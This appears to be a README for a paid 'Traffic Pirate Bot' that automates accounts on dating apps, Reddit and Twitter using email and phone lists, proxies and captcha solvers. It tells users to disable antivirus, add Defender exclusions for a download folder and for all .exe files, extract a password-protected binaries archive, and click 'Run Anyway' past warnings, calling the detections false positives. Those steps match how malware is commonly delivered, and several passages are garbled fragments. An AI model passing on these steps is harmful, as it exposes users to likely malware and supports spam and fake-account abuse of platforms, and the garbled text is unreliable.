

## Traffic Pirate Bot

THANK YOU FOR PURCHASING THIS TOOL. IF YOU HAVE ANY QUESTIONS YOU CAN REACH ME ON TELEGRAM @TP-Dev

- Make sure you do NOT include '@' in your Snapchat, Reddit, or Twitter usernames.

***When the menu asks, you'll need to enter your;***

- Email list or email API.
- Phone number list, or API.
- If you choose not to use the free proxies you'll have an opportunity to input your proxy list.
- Also you will need a 2CAPTCHA API or HCAPTCHA API depending on what platform you'll be automating.

**At the time of this writing this bot currently supports;**

- 
- Tinder
  - Bumble
  - Badoo
  - OKCupid
  - Plenty of Fish
  - Reddit
  - Twitter

More platforms will be added as the beta process proceeds. Likewise some platforms will likely be removed due to patches.

*If your antivirus blocks the download or script like windows defender sometimes does, you'll need to turn off the antivirus while you set up the bot. The method that I use to scrape the proxies for you seems to trigger a couple different anti-viruses with a false positive. It'll work fine once you either create an exclusion for the directory you're downloading the zip file into, or just turning off "real-time monitoring" temporarily.*

*We shouldn't get the false positives anymore now that we have our licensing issued, but sometimes the AV companies are slow to update certificates.*

# Traffic Pirate Bot

To make an exclusion folder go in to your computers settings and select "Privacy & Security" ...then "Windows Security"

Choose "Virus & Threat Protection"

Then "Manage Settings"

You may or may not already have

And scroll down till you see "Exclusions"

folders there, either way click on

*Happy Pirating!*

<https://github.com/TP-online/TPBot.git>

# Traffic Pirate Bot

click "Add or Remove Exclusions"

"Add an exclusion"

In the drop down menu

select "Folder"

When the 'browse' window comes up copy & paste this into the 'Folder' input field;  
`%USERPROFILE%\Downloads\TPBot-main`

Select the name of the extracted directory

You should see a couple show up.

You can also do this... When you get the drop down menu, select "File type" bot, which "Add"

And here it wants you to type in the file extension of the "exe" then click

Exclusions

Add or remove items that you want to exclude from Microsoft Defender Antivirus scans.

Exclusions

Add or remove items that you want to exclude from Microsoft Defender Antivirus scans.

+ Add an exclusion

Add an exclusion

Enter extension

exe  
Add Cancel

## Traffic Pirate Bot

I'm doing all of the above for good measure.

**You must create this exclusion that covers the "TPBot-main" directory BEFORE you extract the "TrafficPirate(Binaries).7z" archive, for which the password to decrypt is**

**betaTest**

- Now you can enter the "TPBot-main" and extract the 'binaries' 7z file with whichever software you prefer. If you've preformed the above exclusion correctly you should have no further issues.

directory

you

The bot uses a free API library written by me to utilize rotating proxies scraped with another bot I have hosted in the cloud. When the bot calls this library, the function may be blocked by windows or you may get a notification that has a **'Run Anyway'** option... If you don't see that try **"More Info"** then **"Run Anyway"**

*Happy Pirating!*

<https://github.com/TP-online/TPBot.git>

Once you extract the "TrafficBot(Binaries).7z"

## Traffic Pirate Bot

see 2  
will  
which  
uninstall or  
the other

Thats the

- **Double** to set up bot.
- Once the the rest is self
- Just follow and fill out the information.

• **Click** start the

directory, you'll files in the "main" directory. There be an "uninstall.zip" you only need to purge log files, one is the

"TrafficBotStartup1"...

click on the "TrafficBotStartup1" file dependancies and start the

main menu appears explanatory.

the GUI prompts input

'Deploy' to bot live.

(OR)

- Click 'Debug' to start the bot in a local environment for testing. (this is only needed for submitting a bug report)
